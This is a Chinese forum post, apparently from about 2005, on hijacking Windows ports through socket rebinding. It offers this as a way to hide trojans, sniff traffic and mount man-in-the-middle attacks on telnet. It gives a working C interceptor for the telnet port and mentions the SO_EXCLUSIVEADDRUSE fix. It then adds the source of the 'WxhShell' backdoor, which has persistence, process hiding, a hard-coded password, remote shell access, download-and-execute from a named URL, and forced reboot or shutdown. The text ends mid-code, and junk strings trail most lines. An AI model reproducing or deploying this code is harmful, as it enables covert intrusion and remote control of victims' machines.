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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: { :_qa|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;Q%3WD  
x9H qc9q  
  saddr.sin_family = AF_INET; DBzF\-  
ZZF\;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0Ewt >~n  
[ r=U-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |#(g 8ua7  
L~L]MC&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M% FKg/  
m}fY5r<<;/  
  这意味着什么?意味着可以进行如下的攻击: F5f1j]c  
AV["%$ :  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7:h_U9Za?$  
?nx 1{2[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q02:qn?T  
Ph C{Gg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~dj4Q eu  
.2STBh.;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jQ\/R~)O  
I K Dh)Zm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2/FH9T;e".  
d0@czNWIC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aOo;~u2-=  
?VT ]bxb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jl^THoEL  
JB\BP$ap  
  #include jj"?#`cW  
  #include U-:_4[  
  #include v@E/?\k"  
  #include    |oJ R+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v_ W03\  
  int main() Y@M l}43  
  { rlVo}kc7:  
  WORD wVersionRequested; i"C?6R  
  DWORD ret; Ol. rjz9  
  WSADATA wsaData; de?lO ;8  
  BOOL val; <\S j5  
  SOCKADDR_IN saddr; r$.v"Wh)  
  SOCKADDR_IN scaddr; 'l3K*lck  
  int err; }x}JzA+2  
  SOCKET s; <S%kwS  
  SOCKET sc; #o-CG PE  
  int caddsize; 7Ke#sW.HN  
  HANDLE mt; db.E-@W.OI  
  DWORD tid;   /Q[M2DN@  
  wVersionRequested = MAKEWORD( 2, 2 ); }]?U. ]-  
  err = WSAStartup( wVersionRequested, &wsaData ); C:d$   
  if ( err != 0 ) { ]&/KAk  
  printf("error!WSAStartup failed!\n"); 1)f~OL8o  
  return -1; h 66X746  
  } dd%-bI^  
  saddr.sin_family = AF_INET; C]+T5W\"<B  
   yD9<-B<)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P&@[ j0  
ew cgg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kaj6C_k|  
  saddr.sin_port = htons(23); ';bovh@*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZM%z"hO9R  
  { ,0Y5O?pu\  
  printf("error!socket failed!\n"); 4?^t=7N  
  return -1; F DCHB~D  
  } c;e2= A  
  val = TRUE; Q35/Sp[;x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N~An}QX|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZXj;ymC'  
  { Tse Pdkk  
  printf("error!setsockopt failed!\n"); Wd_cNR\  
  return -1; /RmHG H!  
  } rpT{0 >5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [oQ&}3\XJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j\SW~}d9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cAE.I$T(  
Y)I8(g}0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qm)KO 4  
  { 5CsJghTw  
  ret=GetLastError(); r. :H`  
  printf("error!bind failed!\n"); Vhs:X~=qL  
  return -1; 61J01(+|  
  } x@]pUA1  
  listen(s,2); 6A& f  
  while(1) k&1~yW  
  { :bA@ u>  
  caddsize = sizeof(scaddr); AT{ewb  
  //接受连接请求 g{ cHh(S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cKX6pG  
  if(sc!=INVALID_SOCKET) 1Bz'$u;  
  { FT* o;&_QS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jbqhNsTNK  
  if(mt==NULL) :oH"  
  { GBZx@B[TY  
  printf("Thread Creat Failed!\n"); =R^V[zTn_  
  break; ?_F,HhQ  
  } 0F<O \  
  } w^&TG3m1~  
  CloseHandle(mt); 4{\h53j$  
  } Tdr^~dcQ  
  closesocket(s); a]465FY  
  WSACleanup(); "]nbM}>  
  return 0; ~qiSkG  
  }   snBC +`-  
  DWORD WINAPI ClientThread(LPVOID lpParam) <'4DMZ-G  
  { w%1B_PyDg  
  SOCKET ss = (SOCKET)lpParam; X~Li`  
  SOCKET sc; 1lNg} !)[K  
  unsigned char buf[4096]; 9 0[gXj  
  SOCKADDR_IN saddr; GGs3r;(t  
  long num; t p.qh]2c  
  DWORD val; '* +]&~b  
  DWORD ret; wo[W1?|s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k:w\4Oqd  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q*ZjOqj  
  saddr.sin_family = AF_INET; { A(= phN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); By@<N [I@  
  saddr.sin_port = htons(23); +mP3 y~|-j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eP3)8QC  
  { ]*^mT&$7  
  printf("error!socket failed!\n"); 5|-(Ic  
  return -1; G2kr~FG  
  } 4\?I4|{pC  
  val = 100; ujcNSX*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PL8eM]XS  
  { 'B"kUh%3$5  
  ret = GetLastError(); d& @KGJ  
  return -1; ~`MGXd"o  
  } %rT XT  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9`)NFy?  
  { w<awCp  
  ret = GetLastError(); N2}].}  
  return -1; zu}h3n5  
  } %&^F.JTt\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %t\`20-1<  
  { d `Q$URn|  
  printf("error!socket connect failed!\n"); "$#x+|PyC  
  closesocket(sc); / vge@bsE  
  closesocket(ss); KTk%N p  
  return -1; (G"b)"Qum  
  } 5jg^12EP  
  while(1) @)m+O#a  
  { F5J=+Q%8[&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;G~0 VM2|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9h$-:y3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o"v> BhpC  
  num = recv(ss,buf,4096,0); $<]y.nr|CX  
  if(num>0) lE[LdmwDrb  
  send(sc,buf,num,0); _qmB PUx  
  else if(num==0) ~]A';xH&  
  break; k-T_,1l{  
  num = recv(sc,buf,4096,0); \nx ^=4*yk  
  if(num>0) Xt8;Pl  
  send(ss,buf,num,0); 1(!!EcU_  
  else if(num==0) Uz H)fB  
  break; gW6lMyiLb  
  } K I$?0O  
  closesocket(ss); |zvxKIW;wd  
  closesocket(sc); y3$' gu|  
  return 0 ; \x x<\8Qr_  
  } 5D]%E?ag  
~/\;7E{8!  
9GkG'  
========================================================== s iv KXd  
.$4DK*  
下边附上一个代码,,WXhSHELL 5<a)SP 0  
J C1T033 r  
==========================================================  tB[(o%k  
d+ih]?  
#include "stdafx.h" !?ayZ5G([  
#joU}Rj|  
#include <stdio.h> u3 ?+Hu|*T  
#include <string.h> $&k2m^R<  
#include <windows.h> E[htNin.B~  
#include <winsock2.h> XT= #+  
#include <winsvc.h> 4lb3quY$Us  
#include <urlmon.h> rg_-gZl8&z  
f8N  
#pragma comment (lib, "Ws2_32.lib") xvjHGgWSxc  
#pragma comment (lib, "urlmon.lib") +B_q? 6pR  
c.,:r X0S  
#define MAX_USER   100 // 最大客户端连接数 "a`0s_F,^  
#define BUF_SOCK   200 // sock buffer JO7IzD\  
#define KEY_BUFF   255 // 输入 buffer BaiC;&(   
YT, 1E>rd  
#define REBOOT     0   // 重启 >H5BY9]I  
#define SHUTDOWN   1   // 关机 v>)[NAY9  
+tkd($//  
#define DEF_PORT   5000 // 监听端口 m3 (fr  
.K}u`v T  
#define REG_LEN     16   // 注册表键长度 R.|fc5_"+  
#define SVC_LEN     80   // NT服务名长度 g;v{JB  
DD|%F  
// 从dll定义API \(Zdd \,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Si*Pi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GMgsM6.R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d)r=W@tF]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \D,0  
,`/!0Wmt  
// wxhshell配置信息 ui G7  
struct WSCFG { Fdu0?H2TL  
  int ws_port;         // 监听端口 J%f5NSSU{6  
  char ws_passstr[REG_LEN]; // 口令 _ZzPy;[i?  
  int ws_autoins;       // 安装标记, 1=yes 0=no m]N 4.J  
  char ws_regname[REG_LEN]; // 注册表键名 9qQ_#$Vv  
  char ws_svcname[REG_LEN]; // 服务名 t wtGkkC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A0O$B7ylQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V[+ Pb]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qh/yPOSm:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no in#qV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" na  $z\C\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vT%rg r  
)@1_Dm@0b  
}; pwd7I  
wm*`  
// default Wxhshell configuration mkj`z  
struct WSCFG wscfg={DEF_PORT, f>ED  
    "xuhuanlingzhe", yW|yZ(7  
    1, z O$SL8U  
    "Wxhshell", cdzzS?$)  
    "Wxhshell", _*bXVJ ]  
            "WxhShell Service", 0>Ki([3  
    "Wrsky Windows CmdShell Service", ;N]ElwP  
    "Please Input Your Password: ", 'D\(p,(Mt  
  1, -Q 6W`*8  
  "http://www.wrsky.com/wxhshell.exe", cy^6g? ew  
  "Wxhshell.exe" ;c:vz F~Q  
    }; \RMYaI^+;  
kt X(\Hf!  
// 消息定义模块 jc Ie<i;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s;8J= \9W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T"9`[Lzva  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &ks>.l\  
char *msg_ws_ext="\n\rExit."; a_QO)  
char *msg_ws_end="\n\rQuit."; w|?Nq?KA  
char *msg_ws_boot="\n\rReboot..."; NqhRJa63  
char *msg_ws_poff="\n\rShutdown..."; R\0]\JEc  
char *msg_ws_down="\n\rSave to "; 1ZhJ?PI,9{  
:$/lGIz  
char *msg_ws_err="\n\rErr!";  A{5 k}  
char *msg_ws_ok="\n\rOK!"; Ha)w*1&w"  
|;rjr_I  
char ExeFile[MAX_PATH]; $Xz9xzOR  
int nUser = 0; kc~Z1  
HANDLE handles[MAX_USER]; !p&M,6  
int OsIsNt; L\y,7@1%AT  
HX+'{zm]  
SERVICE_STATUS       serviceStatus; SRM[IU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _u{D#mmO  
2lAuO!%  
// 函数声明 GE~mu76%  
int Install(void); KQ3)^J_Z  
int Uninstall(void); |4X:>Ut]  
int DownloadFile(char *sURL, SOCKET wsh); K.l?R#G`,F  
int Boot(int flag); *1;<xeVD  
void HideProc(void); G-M!I`P  
int GetOsVer(void); {l *ps-fi  
int Wxhshell(SOCKET wsl); 1v`<Vb%"}T  
void TalkWithClient(void *cs); _k5KJKvr  
int CmdShell(SOCKET sock); JkQ4'$:  
int StartFromService(void); ! ~&X1,l1*  
int StartWxhshell(LPSTR lpCmdLine); gA~Ih  
oPzt1Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fcJ#\-+E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wg!  
;EL!TzL:8  
// 数据结构和表定义 rU.ew~  
SERVICE_TABLE_ENTRY DispatchTable[] = zFB$^)v"<  
{ z<^HohT  
{wscfg.ws_svcname, NTServiceMain}, tBrd+}e2*  
{NULL, NULL} ]C)PZZI='  
}; ru'Xet  
2R2Z6}  
// 自我安装 TrkoLJmB  
int Install(void) ?>RJ8\Sj  
{ wAkoX  
  char svExeFile[MAX_PATH]; TKRu^KH9  
  HKEY key; tJHzhH)  
  strcpy(svExeFile,ExeFile); L8R|\Bx  
$D9JsUij  
// 如果是win9x系统,修改注册表设为自启动 X5>p~;[9  
if(!OsIsNt) { 20%xD e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gtg; 6&2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zUwz[^d<C  
  RegCloseKey(key); %I6iXq#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )vuxy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fKrOz! b  
  RegCloseKey(key); [|k@Suv |z  
  return 0; O$$s]R6  
    } [(#ncR8B  
  } iCl,7$[*  
} S'6(&"XC H  
else { De4+4&  
!R)v2Mk|  
// 如果是NT以上系统,安装为系统服务 (O&ooM* o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P}?,*'b  
if (schSCManager!=0) _4%+TN6z  
{ V\ARe=IWM  
  SC_HANDLE schService = CreateService 8 A%)m  
  ( [ Y'Xop6G  
  schSCManager, j24BB}mBB  
  wscfg.ws_svcname, #<v3G)|aS  
  wscfg.ws_svcdisp, [0MVsc=  
  SERVICE_ALL_ACCESS, *QAK9mc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z[0xqGYLB  
  SERVICE_AUTO_START, Qs;bVlp!H  
  SERVICE_ERROR_NORMAL, !Otyu6&  
  svExeFile, #[I`VA\x  
  NULL, }4eSB  
  NULL, mI"|^!L  
  NULL, ^P&y9dC.  
  NULL, ~Qzm!Po,  
  NULL 'Ur$jW  
  ); )W*S6}A  
  if (schService!=0) 8#7z5:_  
  { Eer rIV  
  CloseServiceHandle(schService); v9M ;W+J  
  CloseServiceHandle(schSCManager); 5^0W\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2,NQ(c_c$  
  strcat(svExeFile,wscfg.ws_svcname); 6PvV X*5T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c(YNv4*X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,VJ0J!@  
  RegCloseKey(key); =$b^ X?x  
  return 0; Sfh\4h$H  
    } SC86+  
  } NbG3^(  
  CloseServiceHandle(schSCManager); V/762&2X  
} `;QpPSw+  
} `+]4C+w  
rC/m}`b  
return 1; ]_F%{8|  
} wCn W]<+  
~p8-#A)X,)  
// 自我卸载 L6 hTz'  
int Uninstall(void) &IOChQ`8P  
{ Z4E:Z}~''  
  HKEY key; _?O'65  
DFR.F:O%  
if(!OsIsNt) { a{Tv#P*!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1_GUi  
  RegDeleteValue(key,wscfg.ws_regname); MlS<txFPS  
  RegCloseKey(key); (y#8z6\dx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uF@Q8 7G  
  RegDeleteValue(key,wscfg.ws_regname); 8~rD#8`6j  
  RegCloseKey(key); I.q nA  
  return 0; A9$q;8= <  
  } 0Ba-VY.H  
} t[iE >  
} 0P%(4t$pd  
else { 9<\wa/#  
>KM<P[BRd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); In^$+l%O[  
if (schSCManager!=0) yy/wSk  
{ Ngh9+b6[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s?E7tmaM  
  if (schService!=0) V><5N;w  
  { &W`yHQ"JY  
  if(DeleteService(schService)!=0) { rJ9a@n,  
  CloseServiceHandle(schService); "E 8-76n  
  CloseServiceHandle(schSCManager); DghX(rs_  
  return 0; rDUNA@r  
  } e~nmIy  
  CloseServiceHandle(schService); >8>`-  
  } +a"A svw2  
  CloseServiceHandle(schSCManager); EiIbp4*e  
} Xm\tyLY  
} 7(Y!w8q&^  
{gK i15t  
return 1; M/ R#f9W  
} X#gZgz ='  
!t~S.`vF  
// 从指定url下载文件 3vNoD  
int DownloadFile(char *sURL, SOCKET wsh) |2{y'?,  
{ Mq6.!j  
  HRESULT hr; .CrahV1G  
char seps[]= "/"; :m^eNS6:  
char *token; jo{GPp}  
char *file; RK"dPr  
char myURL[MAX_PATH]; (#LV*&K%IC  
char myFILE[MAX_PATH]; 2$=?;~  
}T4"#'`  
strcpy(myURL,sURL); ##1[/D(  
  token=strtok(myURL,seps); MP;7 u%   
  while(token!=NULL) Dr,{V6^  
  { Fgt/A#`fz  
    file=token; !u>29VN  
  token=strtok(NULL,seps); 4TC !P}  
  } b\dBt#mB!  
Qighvei  
GetCurrentDirectory(MAX_PATH,myFILE); m0XK?;\V  
strcat(myFILE, "\\"); B.Ic8'  
strcat(myFILE, file); MDl  
  send(wsh,myFILE,strlen(myFILE),0); rkG*0#k  
send(wsh,"...",3,0); SDDs}mV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8WfF: R;  
  if(hr==S_OK) 5pE[}@-c9  
return 0; T3%yV*F,  
else ?Z*LTsPr  
return 1; y{U'\  
) dwPD  
} YDC[s ^d5  
>L?/Ph%d  
// 系统电源模块 K, ?M5n '  
int Boot(int flag) I_'vVbK+>  
{ %L<VnY#%u  
  HANDLE hToken; Wi hQj  
  TOKEN_PRIVILEGES tkp; &6r".\; ^  
n=L;(jp<j  
  if(OsIsNt) { +cQ4u4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l J;wl|9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L7%Dc2{^(  
    tkp.PrivilegeCount = 1; $2 ~A^#"0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F+*: >@3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n]6xrsE  
if(flag==REBOOT) { <;phc~0+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j#3}nJB%#i  
  return 0; ^HX={(ddK  
} >2vl & (  
else { !`)-seTm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cC&R~h]|  
  return 0; DZRk K3  
} HiILJyb  
  } Xv9kJ  
  else { *N[.']#n  
if(flag==REBOOT) { O&E1(M|*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FFK79e/5  
  return 0; 9k&lq$  
} #O\4XZ,Lv  
else { Uk6Y6mU V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 91jv=>=DM  
  return 0; %:YON,1b=7  
} p_!Y:\a5  
} E9!IGci  
ofj7$se  
return 1; g@`14U/|  
} K3!|k(jt  
M)V z9,  
// win9x进程隐藏模块 TM[Z~n(wt  
void HideProc(void) Ep.,2H  
{ 'nBJ[$2^  
4YXtl +G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -r/#20Y  
  if ( hKernel != NULL ) .A&Ey5  
  { +2|X 7wA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >"5^]o2?~l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zPH1{|H+l  
    FreeLibrary(hKernel); uy~5!i&  
  } @@'zMV%  
wvp\'* $  
return; hc`9Y  
} M5: f^  
k_-=:(Z  
// 获取操作系统版本 lVARe3#  
int GetOsVer(void) 2:&8FdU  
{ i8Yl1nF  
  OSVERSIONINFO winfo; 7==Uz?}C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ipw_AC~  
  GetVersionEx(&winfo); tA3]6SIK@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0$":W  
  return 1; aluXh?  
  else WFjNS'WI_  
  return 0; j K$4G.x  
} HI,1~ Jw+  
<E&1HeP  
// 客户端句柄模块 Iwize,J~X  
int Wxhshell(SOCKET wsl) 9K Ih}Q@P  
{ pvDr&n9  
  SOCKET wsh; c zL[W2l   
  struct sockaddr_in client; jf$6{zO6j  
  DWORD myID; X>wB=z5PXK  
s lDxsb  
  while(nUser<MAX_USER) /49PF:$?  
{ r*0a43mC1  
  int nSize=sizeof(client); U@ALo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `(_cR@\  
  if(wsh==INVALID_SOCKET) return 1; &:S_ewJK7  
* jT r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #CW]70H`  
if(handles[nUser]==0) eW1$;.^  
  closesocket(wsh); {5#P1jlT  
else dY;^JPT  
  nUser++; `[jQn;  
  } dV<M$+;s]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); InH R> ,  
wI1[I  
  return 0; {iYu x;(  
} Y)hLu:P]  
Q7N4@w;e  
// 关闭 socket gK-:t  
void CloseIt(SOCKET wsh) /21d%T:}  
{ ]i8K )/  
closesocket(wsh); >|o-&dk  
nUser--; mkk74NY  
ExitThread(0); c1jHg2xim  
} {,]BqFXv  
-,TBUWg  
// 客户端请求句柄 X']>b   
void TalkWithClient(void *cs) _-o*3gmbQ  
{  +h9U V  
+&4PGv53J  
  SOCKET wsh=(SOCKET)cs; E,c~.jYc  
  char pwd[SVC_LEN]; f8#WT$Ewy  
  char cmd[KEY_BUFF]; ,au64sH  
char chr[1]; .sbU-_ij@U  
int i,j; 9(|[okB  
kZU8s'C  
  while (nUser < MAX_USER) { `]LaX&u  
>BrxJw#M  
if(wscfg.ws_passstr) { E&{*{u4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `y P-,lA$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0k:&7(j  
  //ZeroMemory(pwd,KEY_BUFF); @E,{p"{  
      i=0; 8MX/GF;F  
  while(i<SVC_LEN) { `RthX\Tof  
!V+5$TsS  
  // 设置超时 F}H!vh[  
  fd_set FdRead; 9(ZzwkD'>  
  struct timeval TimeOut; htX'bA  
  FD_ZERO(&FdRead); Rb#Z'1D'G  
  FD_SET(wsh,&FdRead); {;n?c$r  
  TimeOut.tv_sec=8; }E*d)n|  
  TimeOut.tv_usec=0; wju~5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r?{Vqephz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }h +a8@  
i_`YZ7Hxp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DECX18D  
  pwd=chr[0]; / v5Pk.!o  
  if(chr[0]==0xd || chr[0]==0xa) { 7KRc^ *pZs  
  pwd=0; ~e 6yaX8S  
  break; iJ?8)}  
  } Q, #M 0  
  i++; 'x+0 yd  
    } 2}$Vi$ R  
c`doR(oZ  
  // 如果是非法用户,关闭 socket **! lV]/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +GP"9S2%R  
} X-:Ni_O\ty  
yC+N18y?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K ANE"M   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Z%7+[  
px//q4 U  
while(1) { n  'P:  
&0(2Z^Z>fw  
  ZeroMemory(cmd,KEY_BUFF); 7 aDI6G  
S~(4q#Dt-  
      // 自动支持客户端 telnet标准   &U4]hawbOU  
  j=0; "{z9 L+  
  while(j<KEY_BUFF) { `3pe\s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j@GMZz<  
  cmd[j]=chr[0]; m9#u. Q*  
  if(chr[0]==0xa || chr[0]==0xd) { U|{WtuR  
  cmd[j]=0; vbDw2  
  break;  o<Y|N   
  } +bdkqdB9  
  j++; )Bb :tz+  
    } VZAdc*X  
OUI}jJw+  
  // 下载文件 ry~3YYEMI0  
  if(strstr(cmd,"http://")) { M#<x2ojW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); / sH*if  
  if(DownloadFile(cmd,wsh)) jvu,W4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~{^A&#P  
  else ei\X/Z*q%P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ql&P1|&  
  } OQ+?nB  
  else { 2i,Jnv=sR  
'kH#QO\(e"  
    switch(cmd[0]) { =;Wkg4\5  
  }-r"W7]k  
  // 帮助 D|e6$O5o  
  case '?': { 6b<t|zb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AQQj]7Y  
    break; JSGUl4N  
  } De>pIN;B>  
  // 安装 RK rBHqh@  
  case 'i': { cLR8U1k'  
    if(Install()) Ae ue:u>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M\`6H8aLn  
    else 6bHj<6>MX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cgz'6q'T  
    break; }PED#Uv  
    } ^1*p]j(  
  // 卸载 V{d"cs>9  
  case 'r': { 1d\K{ 7i#  
    if(Uninstall()) Cs]xs9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DU 8)c$  
    else g^0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z :Kob b  
    break; zEO 9TuBO  
    } Ho \+xX  
  // 显示 wxhshell 所在路径 / /wmJ |  
  case 'p': { (_nkscf  
    char svExeFile[MAX_PATH]; TS UN(_XGW  
    strcpy(svExeFile,"\n\r"); >@oO7<WB  
      strcat(svExeFile,ExeFile); OVj,qL)  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 z3Iwl  
    break; j<l>+., U  
    } E>4 \9  
  // 重启 )$th${pd#v  
  case 'b': { Uj!L:u2b  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 Qw;r  
    if(Boot(REBOOT)) N#[/h96F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JBoo7a1  
    else { <n6/np!  
    closesocket(wsh); U{ahA  
    ExitThread(0); }:jXl!:V  
    } 7kJ,;30)  
    break; ?C $_?Qi  
    } J41ZQ  
  // 关机 2l\Oufer"  
  case 'd': { n"dT^ g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V).M\  
